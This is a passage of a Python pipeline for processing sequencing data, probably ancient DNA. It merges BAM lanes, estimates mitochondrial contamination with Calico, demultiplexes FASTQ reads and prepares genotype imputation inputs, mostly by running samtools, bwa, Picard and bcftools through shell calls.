None and ba is None:\n            sampleName = i[:ja.start()]\n            #print(sampleName)\n\n            if sampleName in bamDict.keys():\n                if i in bamDict[sampleName]:\n                    pass\n\n                else:\n                    bamDict[sampleName].append(i)\n                    #print(\"b\")\n            else:\n                bamDict[sampleName] = [i]\n\n    for i in os.listdir(cwd):\n        # print(i)\n        ja = re.search(r'_S\\d_L\\d\\d\\d\\.q..\\.rmdup\\.bam$', i)\n        ba = re.search(r'\\.bai$', i)\n        if ja is not None and ba is None:\n            sampleName = i[:ja.start()]\n            # print(sampleName)\n\n            if sampleName in bamDict.keys():\n                if i in bamDict[sampleName]:\n                    pass\n\n                else:\n                    bamDict[sampleName].append(i)\n                    # print(\"b\")\n            else:\n                bamDict[sampleName] = [i]\n\n            #print(ja.group())\n            #print(ja.start())\n            #print(\"\\n\")\n    print(bamDict)\n    print(bamDict.keys())\n\n    for i in bamDict.keys():\n        #print(i)\n        command = \"picard.jar MergeSamFiles \"\n        print(\"\\t> Merging all bam files for sample with id \" + i + \" and sorting\")\n        fout.write(\"\\n\\n\\t> Merging all bam files for sample with id \" + i + \" and sorting\")\n        for a in bamDict[i]:\n            #print(a)\n            command = command + \"I=\" + a + \" \"\n        command = command + \"O=\" + i + \"_merged.q\" + qualThreshold + \".bam USE_THREADING=True\"\n        print(command)\n        os.system(command)\n        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + command)\n\n        ## Move merged files into new folder\n        if \"mergedlanes\" not in os.listdir(cwd):\n            os.system('mkdir -p '+cwd+'/mergedlanes')\n        os.system('mv ' + i + '_merged.q' + qualThreshold + '.bam ' + cwd + '/' + \"mergedlanes/\")\n\n        os.chdir(cwd + '/mergedlanes')\n\n        print(\"\\tsamtools rmdup -s \" + i + \"_merged.q\" + qualThreshold + \".bam\" + \" \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam\")\n        os.system(\"samtools rmdup -s \" + i + \"_merged.q\" + qualThreshold + \".bam\" + \" \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam\")\n        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools rmdup -s \" + i + \"_merged.q\" + qualThreshold + \".bam\" + \" \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam\")\n\n        print(\"\\tsamtools flagstat \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam\" + \" > \" + i + \"_merged.q\" + qualThreshold + \".summary.txt\")\n        os.system(\"samtools flagstat \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam\" + \" > \" + i + \"_merged.q\" + qualThreshold + \".summary.txt\")\n        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools flagstat \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam\" + \" > \" + i + \"_merged.q\" + qualThreshold + \".summary.txt\")\n        print(\"\\tsamtools index \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam\" + \" \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam.bai\")\n        os.system(\"samtools index \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam\" + \" > \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam.bai\")\n        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools index \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam\" + \" > \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam.bai\")\n        print(\"\\tsamtools idxstats \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam\" + \" > \" + i + \"_merged.chr.txt\")\n        os.system(\"samtools idxstats \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam\" + \" > \" + i + \"_merged.chr.txt\")\n        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools idxstats \" + i + \"_merged.q\" + qualThreshold + \".rmdup.bam\" + \" > \" + i + \"_merged.chr.txt\")\n\n        os.chdir(cwd)\n\ndef calico(refLoc,calLoc,qualThreshold = 30,multipleLanes = False):\n    \"\"\"\n    Estimates mitochondrial contamination in human samples from \"trimmed.fastq\" files, using the Calico script by Pontus Skoglund.\n\n    Input:\n    Foo1_S01_L001.trimmed.fastq\n    Foo1_S01_L002.trimmed.fastq\n    Foo2_S02_L001.trimmed.fastq\n    Foo2_S02_L001.trimmed.fastq\n\n    Output:\n    Foo1_S01.trimmed.fastq\n    Foo2_S02.trimmed.fastq\n    Foo1_S01_Calico/.q30.bam/.q30.rmdup.bam/.q30.rmdup.bam.bai/.q30.sort.bam/.sai/.sam\n    Foo2_S02_Calico/.q30.bam/.q30.rmdup.bam/.q30.rmdup.bam.bai/.q30.sort.bam/.sai/.sam\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< CALICO - Estimating mitochondrial contamination >\")\n    fout.write(\"\\n< CALICO - Estimating mitochondrial contamination >\")\n\n    qualThreshold = str(qualThreshold)\n\n    if seqtkSim == 1:\n        fileExp = r'seqtk\\.fastq$'\n    else:\n        fileExp = r'trimmed\\.fastq$'\n\n    bamDict = {}\n    for i in os.listdir(cwd):\n        ja = re.search(fileExp, i)\n        #ba = re.search(r'\\.bai$', i)\n        if ja is not None:\n            sampleName = i[:ja.start()]\n            sample_id = str.split(sampleName,\"%\")[0]\n            #sample_id = sample_id[:-5] ## Possible fix, need to confirm\n\n            if sample_id in bamDict.keys():\n                if i in bamDict[sample_id]:\n                    pass\n\n                else:\n                    bamDict[sample_id].append(i)\n            else:\n                bamDict[sample_id] = [i]\n\n    print(bamDict)\n\n    for it in bamDict:\n        print(it)\n        if multipleLanes == True:\n            commandCat = \"cat \"\n            for i in bamDict[it]:\n                print(i)\n                commandCat += str(i) + (\" \")\n            commandCat += \" > \" + it + \".trimmed.fastq\"\n\n            i = it + \".trimmed.fastq\"\n            #sample_id = it\n            print(commandCat)\n            os.system(commandCat)\n        #print(i)\n        if multipleLanes == True:\n            i = it + \".trimmed.fastq\"\n        elif multipleLanes == False:\n            i = bamDict[it][0]\n        sample_id = it\n        print(\"\\t> Aligning trimmed sequences from \" + \"'\" + i + \"'\" + \" to reference genome...\")\n        print('\\tbwa aln -l 1000 -t 2 ' + refLoc + ' ' + i + ' > ' + sample_id + '_Calico.sai' + ' 2> ' + sample_id + '_Calico.bwa_aln.log' + \"\\n\")\n        os.system('bwa aln -l 1000 -t 2 ' + refLoc + ' ' + i + ' > ' + sample_id + '_Calico.sai' + ' 2> ' + sample_id + '_Calico.bwa_aln.log')\n        fout.write(\"\\n\\t> Aligning trimmed sequences from \" + \"'\" + i + \"'\" + \" to reference genome...\" + '\\n\\tbwa aln -l 1000 -t 2 ' + refLoc + ' ' + i + ' > ' + sample_id + '_Calico.sai' + ' 2> ' + sample_id + '_Calico.bwa_aln.log' + \"\\n\")\n\n        it=i\n        i= sample_id + \"_Calico.sai\"\n        print(\"\\t> Converting \" + i + \" to '.sam' and adding tags...\")\n        print(\"\\t\" + r\"bwa samse -r '@RG\\tID:\" + \"calico\" + r\"\\tSM:\" + sample_id + r\"\\tPL:ILLUMINA' \" + refLoc + ' ' + i + ' ' + it + ' > ' + sample_id + '_Calico.sam')\n        os.system(r\"bwa samse -r '@RG\\tID:\" + \"calico\" + r\"\\tSM:\" + sample_id + r\"\\tPL:ILLUMINA' \" + refLoc + ' ' + i + ' ' + it + ' > ' + sample_id + '_Calico.sam')\n        fout.write(\"\\n\\t> Converting \" + i + \" to '_Calico.sam' and adding tags...\" + time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + r\"bwa samse -r '@RG\\tID:\" + \"calico\" + r\"\\tSM:\" + sample_id + r\"\\tPL:ILLUMINA' \" + refLoc + ' ' + i + ' ' + it + ' > ' + sample_id + '_Calico.sam' + '\\n')\n        print(\"\\t> Converting \" + sample_id + '_Calico.sam' + \" to '.q\" + qualThreshold + \".bam'...\")\n        print(\"\\t\"r\"samtools view -Sb -q \" + qualThreshold + \" -F 4 \" + sample_id + \"_Calico.sam\" + \" > \" + sample_id + '_Calico.q' + qualThreshold + '.bam')\n        os.system(r\"samtools view -Sb -q \" + qualThreshold + \" -F 4 \" + sample_id + \"_Calico.sam\" + \" > \" + sample_id + '_Calico.q' + qualThreshold + '.bam')\n        fout.write(\"\\t> Converting \" + sample_id + '_Calico.sam' + \" to '_Calico.q' + qualThreshold + '.bam'...\" + time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\"r\"samtools view -Sb -q \" + qualThreshold + \" -F 4 \" + sample_id + \"_Calico.sam\" + \" > \" + sample_id + '_Calico.q' + qualThreshold + '.bam' + '\\n')\n        print(\"\\t\")\n\n\n\n        print(\"\\t\" + 'samtools sort ' + sample_id + '_Calico.q' + qualThreshold + '.bam' + ' -o ' + sample_id + '_Calico.q' + qualThreshold + '.sort.bam' + \"\\n\")\n        os.system('samtools sort ' + sample_id + '_Calico.q' + qualThreshold + '.bam' + ' -o ' + sample_id + '_Calico.q' + qualThreshold + '.sort.bam')\n        fout.write(\"\\n\\t> Sorting \" + sample_id + '_Calico.q' + qualThreshold + '.bam' + \"...\" + time.strftime(\"\\n\\t%H:%M:%S %Z \") + '\\tsamtools sort ' + i + ' -o ' + sample_id + '_Calico.q' + qualThreshold + '.sort.bam' + \"\\n\")\n\n        print(\"\\t\" + 'samtools rmdup -s ' + sample_id + '_Calico.q' + qualThreshold + '.sort.bam' + ' ' + sample_id + '_Calico.q' + qualThreshold + '.rmdup.bam')\n        os.system('samtools rmdup -s ' + sample_id + '_Calico.q' + qualThreshold + '.sort.bam' + ' ' + sample_id + '_Calico.q' + qualThreshold + '.rmdup.bam')\n        fout.write(\"\\n\\t> Removing duplicates from file \" + i + \"...\" + time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + 'samtools rmdup -s ' + i + ' ' + sample_id + '.rmdup.bam' + '\\n')\n\n        print(\"\\t> Indexing '*.bam' file {}...\".format(sample_id))\n        print('samtools index ' + sample_id + '_Calico.q' + qualThreshold + '.rmdup.bam' + ' ' + sample_id + '_Calico.q' + qualThreshold + '.rmdup.bam' + '.bai')\n        os.system('samtools index ' + sample_id + '_Calico.q' + qualThreshold + '.rmdup.bam' + ' ' + sample_id + '_Calico.q' + qualThreshold + '.rmdup.bam' + '.bai')\n        print(\"\\t\")\n\n        print('samtools mpileup -q' + qualThreshold +' -Q' + qualThreshold + ' -f ' + refLoc + ' ' + sample_id + '_Calico.q' + qualThreshold + '.rmdup.bam | python ' + calLoc + ' --maxdepth 100000 --indels > ' + sample_id + '_Calico')\n        os.system('samtools mpileup -q' + qualThreshold +' -Q' + qualThreshold + ' -f ' + refLoc + ' ' + sample_id + '_Calico.q' + qualThreshold + '.rmdup.bam | python ' + calLoc + ' --maxdepth 100000 --indels > ' + sample_id + '_Calico')\n\n    ## Collect and compile data\n    calOut = open(\"CalicoSummary.txt\",\"w\")\n    calOut.write(\"SAMPLE\\tSITES\\tMAJ\\tMIN\\tCONT\\tCI_low\\tCI_up\\n\")\n    for i in os.listdir(cwd):\n        if re.search(r'_Calico$', i) is not None:\n            print(i)\n\n            calIn = open(i,'r')\n            calIn.readline()\n            calOut.write(i.strip(r'_Calico$'))\n            calOut.write(\"\\t\")\n            calOut.write(calIn.readline())\n            #print(calIn.readline())\n    calOut.close()\n\ndef fastqdemux(inFastq,sampleList,mismatch = 0):\n    \"\"\"\n    Demultiplexes unindexed Illumina reads, such as the ones stored in /Projects/Unindexed Reads/Samples/ in the user's Basespace account.\n    Always provide the reverse complement of the forward adapter sequences for the I7 and I5.\n    Paired-end sequencing not supported yet.\n\n    Current version average writing speed:\n    130MB/minute - 2.22MB/second\n\n    :param inFastq:\n    FASTQ(.GZ) file to parse. This script was prepared to work with \"Undetermined\" FASTQ files from Basespace but can accept any FASTQ files with the index sequences at the end of the first line. Example:\n    @NB501111:90:HYN5FBGX5:1:11101:18918:1050 1:N:0:CTCGATG+CTCGATG (for dual-indexed libraries)\n    @NB501111:90:HYN5FBGX5:1:11101:18918:1050 1:N:0:CTCGATG (for single-indexed libraries)\n    The filename must contain lane number information (\"L00x\"). Example:\n    Undetermined_S0_L004_R1_001.fastq(.gz)\n\n    :param sampleList:\n    A tab-spaced text file with sample name(s), reverse complement of index1 (I7) sequence, and reverse complement of index2 (I5) sequence (when dual-indexed), respectively in columns one, two, and three. Example for dual-indexed libraries:\n    Sample1\\tAGTCGTT\\tTGCCTAT\n    Sample2\\tGCTTCTA\\tCGGGTAC\n\n    :param mismatch:\n    Number of allowed mismatches (default = 0)\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< DEMUXQ - Demultiplexing FASTQ into individual sample files >\")\n    fout.write(\"\\n< DEMUXQ - Demultiplexing FASTQ into individual sample files >\")\n\n    sampIn = open(sampleList, 'r')\n    sampDict = {}\n\n\n    if(len(sampIn.readline().split(\"\\t\"))) == 2:\n        sampIn.seek(0)\n\n        for line in sampIn:\n            if str.split(line)[0] in sampDict.values():\n                print(\"\\t> ERROR: Found duplicated index \",str.split(line)[0])\n                print(\"\\t> Please ensure all index sequences are unique. Quitting now...\")\n                quit()\n\n            if str.split(line)[1] in sampDict.keys():\n                print(\"\\t> ERROR: Found duplicated sample \",str.split(line)[1])\n                print(\"\\t> Please ensure all sample names are unique. Quitting now...\")\n                quit()\n            else:\n                sampDict[str.split(line)[1]] = str.split(line)[0]\n\n    elif(len(sampIn.readline().split(\"\\t\"))) == 3:\n        sampIn.seek(0)\n\n        for line in sampIn:\n            if str.split(line)[0] in sampDict.values():\n                print(\"\\t> ERROR: Found duplicated index \",str.split(line)[0])\n                print(\"\\t> Please ensure all index sequences are unique. Quitting now...\")\n                quit()\n\n            if str.split(line)[1] in sampDict.keys():\n                print(\"\\t> ERROR: Found duplicated sample \",str.split(line)[1])\n                print(\"\\t> Please ensure all sample names are unique. Quitting now...\")\n                quit()\n            else:\n                sampDict[str.split(line)[1]+\"\\\\\\+\"+str.split(line)[2]] = str.split(line)[0]\n\n    sampIn.close()\n    sampList=list(sampDict.keys())\n\n    ## Check for previous files and delete them\n    lnum = inFastq.split(\"L00\")[1][0]\n    for i in sampList:\n        for items in os.listdir(cwd):\n            if sampDict[i] in items:\n                try:\n                    os.remove(items)\n                except:\n                    pass\n    try:\n        os.remove(\"Unindexed_S0_\" + \"L00\" + lnum + \"_R1_001.fastq\")\n    except:\n        pass\n\n    ## Create results-related dicts\n    sampNum = {}\n    seqa = 1\n    for i in sampDict.keys():\n        sampNum[i] = seqa\n        seqa += 1\n\n    sampFinds = {}\n    for i in sampDict.keys():\n        sampFinds[i] = 0\n    countUndet = 0\n\n    ## Iterate over the FASTQ(.GZ) file reads\n    from Bio.SeqIO.QualityIO import FastqGeneralIterator\n    if inFastq[-3:] == \"stq\":\n        with open(inFastq) as in_handle:\n            for title, seq, qual in FastqGeneralIterator(in_handle):\n                ite = 0\n                found = title.split(':')[-1].replace(\"+\", \"\\\\\\+\")\n\n                ## The next loop is the one that slows down the whole process\n\n                for onekey in sampDict.keys():\n                    if len([b for a, b in zip(onekey, found) if b != a]) <= mismatch:  # shows mismatched bases from Found\n                    #if len(regex.findall(\"(\" + found + \"){e<=\" + str(mismatchCompensate) + \"}\",onekey)) > 0:\n                        output_file = (sampDict[onekey] + \"_S\" + str(sampNum[onekey]) + \"_L00\" + lnum + \"_R1_001.fastq\")\n                        with open(output_file, \"a\") as out_handle:\n                            out_handle.write(\"@%s\\n%s\\n+\\n%s\\n\" % (title, seq, qual))\n                            sampFinds[onekey] += 1\n                            ite = 1\n                if ite == 0:\n                    output_file = (\"Unindexed_S0_\" + \"L00\" + lnum + \"_R1_001.fastq\")\n                    with open(output_file, \"a\") as out_handle:\n                        out_handle.write(\"@%s\\n%s\\n+\\n%s\\n\" % (title, seq, qual))\n                        countUndet += 1\n\n    if inFastq[-3:] == \".gz\":\n        with gzip.open(inFastq, \"rt\") as in_handle:\n            for title, seq, qual in FastqGeneralIterator(in_handle):\n                ite = 0\n                found = title.split(':')[-1].replace(\"+\", \"\\\\\\+\")\n                for onekey in sampDict.keys():\n                    if len([b for a, b in zip(onekey, found) if b != a]) <= mismatch:  # shows mismatched bases from Found\n                    #if len(regex.findall(\"(\" + found + \"){e<=\" + str(mismatchCompensate) + \"}\",onekey)) > 0:\n                        output_file = (sampDict[onekey] + \"_S\" + str(sampNum[onekey]) + \"_L00\" + lnum + \"_R1_001.fastq\")\n                        with open(output_file, \"a\") as out_handle:\n                            out_handle.write(\"@%s\\n%s\\n+\\n%s\\n\" % (title, seq, qual))\n                            sampFinds[onekey] += 1\n                            ite = 1\n                if ite == 0:\n                    output_file = (\"Unindexed_S0_\" + \"L00\" + lnum + \"_R1_001.fastq\")\n                    with open(output_file, \"a\") as out_handle:\n                        out_handle.write(\"@%s\\n%s\\n+\\n%s\\n\" % (title, seq, qual))\n                        countUndet += 1\n\n    ## Create empty FASTQ files for unlocated samples\n    import glob\n    for i in list(sampDict.values()):\n        if len(glob.glob(i+\"*\")) == 0:\n            with open((i + \"_S\" + str(list(sampDict.values()).index(i) + 1) + \"_L00\" + lnum + \"_R1_001.fastq\"), \"w\"):\n                pass\n\n    ## Print short report\n    print(\"\\tHits found with max \"+str(mismatch)+\" mismatch(es):\")\n    for i in sampFinds:\n        print(\"\\t\\t\"+sampDict[i]+\" - \"+str(sampFinds[i]))\n    print(\"\\n\\t\\tUndetermined/no matches - \"+str(countUndet))\n\n\ndef mergedEnd_Analysis():\n    \"\"\"\n    Retrieves data from NextSeq's merged lanes, per sample. Requires \"Reads_Summary.txt\" file produced by function \"end_analysis()\".\n\n    Output:\n    ReadsMergeSummary.txt\n    \"\"\"\n\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    script = open(\"RmergeLaneData.R\", 'w')\n    script.write('setwd(\"')\n    script.write(cwd)\n    script.write('\")')\n\n    script.write('\\nwdfiles = list.files(getwd())')\n    script.write('\\ntbl = read.table(\"Reads_Summary.txt\", sep=\"\\\\t\", fill=T, header=T, stringsAsFactors=F)')\n    script.write('\\nsample_list = c()\\nfor(i in list.files(pattern=\"_S[:0-9:]{1,2}_L[:0-9:]{3}.q[0-9][0-9].summary.txt$\")) {\\n\\tsample_list = c(sample_list, strsplit(i,\"_S[:0-9:]{1,2}_L[:0-9:]{3}.q[0-9][0-9].summary.txt$\")[[1]][1])\\n}\\nsample_list = unique(sample_list)')\n    script.write('\\ntblOut = data.frame(matrix(nrow = length(sample_list),ncol = length(colnames(tbl))))\\ncolnames(tblOut) = colnames(tbl)\\ntmpTbl = data.frame(matrix(nrow = 4,ncol = length(colnames(tbl))))')\n    script.write('\\nitSamp = 1\\n\\nfor(i in sample_list){\\n\\titLane = 1\\n\\tfor(lin in grep(paste0(\"^\",i,\"_S[:0-9:]{1,2}_L[:0-9:]{3}$\"), tbl$Sample)) {\\n\\t\\ttmpTbl[itLane,] = tbl[lin,]\\n\\t\\titLane = itLane +1\\n\\t}\\n\\ttblOut[itSamp,1] = i\\n\\ttblOut[itSamp,2] = sum(tmpTbl$X2)\\n\\ttblOut[itSamp,3] = median(tmpTbl$X3)\\n\\ttblOut[itSamp,4] = sum(tmpTbl$X4)\\n\\ttblOut[itSamp,5] = sum(tmpTbl$X5)\\n\\titSamp = itSamp +1\\n}')\n    script.write('\\ntblOut[,6] = format(round((tblOut$Aligned_reads/tblOut$Total_reads)*100,2))\\nmergedFiles = list.files(path = paste0(getwd(),\"/mergedlanes\"),pattern = \"\\\\\\merged.q[0-9][0-9].summary.txt$\")')\n    script.write('\\nfor(i in mergedFiles) {\\n\\tsmpName = as.character(strsplit(i,\"_merged.q[0-9][0-9].summary.txt\"))\\n\\tdamageP = NA\\n\\ttblOut[grep(paste0(\"^\",smpName,\"$\"),tblOut$Sample),7] = strsplit(read.table(paste0(getwd(),\"/mergedlanes/\",i),sep = \"\\\\t\",fill = T,header = F,stringsAsFactors = F)[1,],\" \")[[1]][1]\\n\\tCTvalue = NA\\n\\tfiveCT = read.table(paste0(getwd(),\"/mergedlanes/mapdamage/mapdamage_\",smpName,\"_merged/5pCtoT_freq.txt\"),header = T,stringsAsFactors = F)[[2]]\\n\\tif(fiveCT[1] > fiveCT[2] && fiveCT[2] > fiveCT[3] && fiveCT[1] > fiveCT[length(fiveCT)]){\\n\\t\\tCTvalue = fiveCT[1]\\n\\t}')\n    script.write('\\n\\tGAvalue = NA\\n\\tthreeGA = read.table(paste0(getwd(),\"/mergedlanes/mapdamage/mapdamage_\",smpName,\"_merged/3pGtoA_freq.txt\"),header = T,stringsAsFactors = F)[[2]]\\n\\tif(threeGA[1] > threeGA[2] && threeGA[2] > threeGA[3] && threeGA[1] > threeGA[length(threeGA)]){\\n\\t\\tGAvalue = threeGA[1]\\n\\t}')\n    script.write('\\n\\tif(is.na(CTvalue) == F && is.na(GAvalue) == F){\\n\\t\\tdamageP = paste0(format(round(CTvalue,3),nsmall=3),\" | \",format(round(GAvalue,3),nsmall=3))\\n\\t}\\n\\ttblOut[grep(paste0(\"^\",smpName,\"$\"),tblOut$Sample),10] = damageP')\n    script.write('\\n\\tsex = try(read.table(paste0(getwd(),\"/mergedlanes/sexing_\",smpName,\"_merged.txt\"),header = T,sep=\"\\\\t\",stringsAsFactors = F),silent=T)\\n\\tif(is.data.frame(sex)){\\n\\t\\ttblOut[grep(paste0(\"^\",smpName,\"$\"),tblOut$Sample),11] = sex$Assignment\\n\\t}\\n}\\n\\ntblOut$X.Endogenous_Unique = format(round((as.numeric(tblOut$Unique_Reads)/tblOut$Total_reads)*100,2))\\n\\nwrite.table(x=tblOut,file=\"ReadsMergeSummary.txt\",quote = F,sep = \"\\t\",col.names = T,row.names = F)')\n    script.close()\n\n    #os.system(\"R CMD BATCH RmergeLaneData.R &\")\n\n\ndef concatenateFQGZ():\n    \"\"\"\n    Concatenates lane data from a Next/HiSeq run. Sample id is defined as the file name before \"_L00X_R1.fastq.gz\".\n\n    Output:\n    ReadsMergeSummary.txt\n    \"\"\"\n\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< CONCATENATEFQGZ - Concatenating *fastq.gz* lane data from a Next/HiSeq run by sample >\")\n    fout.write(\"\\n< CONCATENATEFQGZ - Concatenating *fastq.gz* lane data from a Next/HiSeq run by sample >\")\n\n    sampleDict = {}\n    for i in os.listdir(cwd):\n        ja = re.search(r'_S\\d\\d_L\\d\\d\\d_R\\d_00\\d\\.fastq\\.gz$', i)\n        if ja is not None:\n            sample_id = i[:ja.start()]\n            if sample_id in sampleDict.keys():\n                if i in sampleDict[sample_id]:\n                    pass\n                else:\n                    sampleDict[sample_id].append(i)\n            else:\n                sampleDict[sample_id] = [i]\n\n    for it in sampleDict:\n        commandCat = \"cat \"\n        for i in sampleDict[it]:\n            commandCat += str(i) + (\" \")\n        commandCat += \" > \" + it + \"conc_S01_L001_R1_001.fastq.gz\"\n\n        print(commandCat)\n        os.system(commandCat)\n        fout.write(\"\\t\"+commandCat)\n\n\n\ndef blastnQuery(queryLink):\n    \"\"\"\n\n\n\n    :param queryLink:\n    :return:\n    \"\"\"\n\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< BLASTNQUERY - Batch alignment with BLAST nucleotide query functionality >\")\n    fout.write(\"\\n< BLASTNQUERY - Batch alignment with BLAST nucleotide query functionality >\")\n\n\n\n\n\ndef imputeWithBeagle(curateRefPanel = False, bcftoolsNthreads = 1):\n\n\n\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< IMPUTAION W BEAGLE - Impute genotypes using Beagle >\")\n    fout.write(\"\\n< IMPUTAION W BEAGLE - Impute genotypes using Beagle >\\n\")\n\n\n\n    if curateRefPanel == True:\n        for i in os.listdir(cwd):\n            if re.search('\\.vcf\\.gz$', i) is not None:\n                #print(i)\n                sample_id, sep = i.split(\".vcf.gz\")\n                #print(sample_id)\n\n                ## Keeping only biallelic SNPs\n                print('\\t> Keeping only bi-allelic SNPs for file: ', i)\n                fout.write('\\t> Keeping only bi-allelic SNPs for file: ' + i + \"\\n\")\n                print('bcftools view -m2 -M2 -v snps '+ i + ' --output-file ' +sample_id + '_bialSNPs.vcf.gz --output-type z --threads ' + str(bcftoolsNthreads))\n                #os.system('bcftools view -m2 -M2 -v snps '+ i + ' --output-file ' +sample_id + '_bialSNPs.vcf.gz --output-type z --threads ' + str(bcftoolsNthreads))\n                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + 'bcftools view -m2 -M2 -v snps '+ i + ' --output-file ' +sample_id + '_bialSNPs.vcf.gz --output-type z --threads ' + str(bcftoolsNthreads))\n\n        ## Move old files into separate folder\n            ## Checking if folder base_files exists, otherwise, create it\n        newdir = cwd + '/' + \"base_files\"\n        if 'base_files' in os.listdir(cwd):\n            pass\n        else:\n            os.mkdir(newdir)\n\n        for i in os.listdir(cwd):\n            if re.search('.vcf.gz$', i) != None and '_bialSNPs' not in i:\n                os.system('mv ' + i + ' ' + newdir)\n                os.system('mv ' + i + '.tbi ' + newdir)\n\n        ##### STATS\n        indSNPs = []\n        summaryOut = open('Summary_ALL', 'w')\n        summaryOut.write(\"Sample\\tNumber of SNPs\\n\")\n        ## Run and compile stats\n        for i in os.listdir(cwd):\n            if re.search('_bialSNPs.vcf.gz$', i) != None:\n                print('\\t> Running bcftools stats for file: ', i)\n                fout.write('\\t> Running bcftools stats for file: ' + i + \"\\n\")\n                sample_id_stats, sep = i.split(\".vcf.gz\")\n                print('bcftools stats ' + i + ' > Summary_stats_' + sample_id_stats)\n                #os.system('bcftools stats ' + i + ' > Summary_stats_' + sample_id_stats)\n                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + 'bcftools stats ' + i + ' > Summary_stats_' + sample_id_stats)\n        ## Compile stats from all files\n        print('\\t> Compiling numbers of SNPs from summary data')\n        fout.write('\\t> Compiling numbers of SNPs from summary data')\n        for i in os.listdir(cwd):\n            if re.search('^Summary_stats_', i) != None:\n                sep, sample_id_summary = i.split(\"Summary_stats_\")\n                readSummary = open(i,'r').readlines()\n                numSnps = readSummary[[readSummary.index(s) for s in readSummary if \"\\tnumber of SNPs:\\t\" in s][0]].split(\"\\t\")[-1]\n                summaryOut.write(sample_id_summary + \"\\t\" + numSnps)\n                indSNPs.append(int(numSnps))\n\n        ## Create SNP position list\n        print('\\t> Creating SNP interval list file')\n        fout.write('\\t> Creating SNP interval list file')\n        intervalFile = open('ALL_intervals.list','w')\n        for i in os.listdir(cwd):\n            if re.search('_bialSNPs.vcf.gz$', i) != None:\n                sample_id_stats, sep = i.split(\"_bialSNPs.vcf.gz\")\n                print('zcat ' + i + r\" | grep -v \\# | awk '\" + '{print $1\":\"$2\"-\"$2}' + \"' >> ALL_intervals.list\")\n                os.system('zcat ' + i + r\" | grep -v \\# | awk '\" + '{print $1\":\"$2\"-\"$2}' + \"' >> ALL_intervals.list\")\n                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + 'zcat ' + i + r\" | grep -v \\# | awk '\" + '{print $1\":\"$2\"-\"$2}' + \"' >> ALL_intervals.list\")\n        intervalFile.close()\n\n    totalSNPs = sum(indSNPs)\n    summaryOut.write(\"TOTAL_SNPs\\t\" + str(totalSNPs))\n    summaryOut.close()\n\n\ndef batchBAMtoFASTQ(picard = False):\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< BATCH BAM TO FASTQ - Convert files >\")\n    fout.write(\"\\n< BATCH BAM TO FASTQ - Convert files >\\n\")\n\n    for i in os.listdir(cwd):\n        if re.search('.bam$', i) != None:\n            if picard == False:\n                print('\\t> Running bedtools converter for file: ', i)\n                fout.write('\\t> Running bedtools converter for file: ' + i + \"\\n\")\n                sample_id, sep = i.split(\".bam\")\n                #print(sample_id)\n                print(\"bedtools bamtofastq -i \" + i + \" -fq \" + sample_id + \".fastq\")\n                os.system(\"bedtools bamtofastq -i \" + i + \" -fq \" + sample_id + \".fastq\")\n                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"bedtools bamtofastq -i \" + i + \" -fq \" + sample_id + \".fastq\")\n            if picard == True:\n                print('\\t> Running PicardTools converter for file: ', i)\n                fout.write('\\t> Running PicardTools converter for file: ' + i + \"\\n\")\n                sample_id, sep = i.split(\".bam\")\n                #print(sample_id)\n                #picard.jar SamToFastq I=11354-L994H.bam FASTQ=11354-L994.fastq.gz\n                print(\"picard.jar SamToFastq I=\" + i + \" FASTQ=\" + sample_id + \".fastq.gz\")\n                os.system(\"picard.jar SamToFastq I=\" + i + \" FASTQ=\" + sample_id + \".fastq.gz\")\n                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"picard.jar SamToFastq I=\" + i + \" FASTQ=\" + sample_id + \".fastq.gz\")\n\n\ndef changeBamChrNotation(before122 = \"chr\", after122 = \"\", beforeXYM = \"X,Y,M\", afterXYM = \"23,24,M\", suffix = \"_reheader\"):\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< BATCH BAM CHR NOTATION - Replace BAM chromosome notation >\")\n    fout.write(\"\\n< BATCH BAM CHR NOTATION - Replace BAM chromosome notation >\\n\")\n\n    for i in os.listdir(cwd):\n        if re.search('.bam$', i) != None:\n            print('\\t> Replacing notation using samtools reheader for file: ', i)\n            fout.write('\\t> Replacing notation using samtools reheader for file: ' + i + \"\\n\")\n            sample_id, sep = i.split(\".bam\")\n            \n            print(\"samtools view -H \" + i + \" | sed -e 's/SN:\" + before122 + \"/SN:\" + after122 + \"/' -e 's/SN:\" + beforeXYM.split(\",\")[0] + \"/SN:\" + afterXYM.split(\",\")[0] + \"/' -e 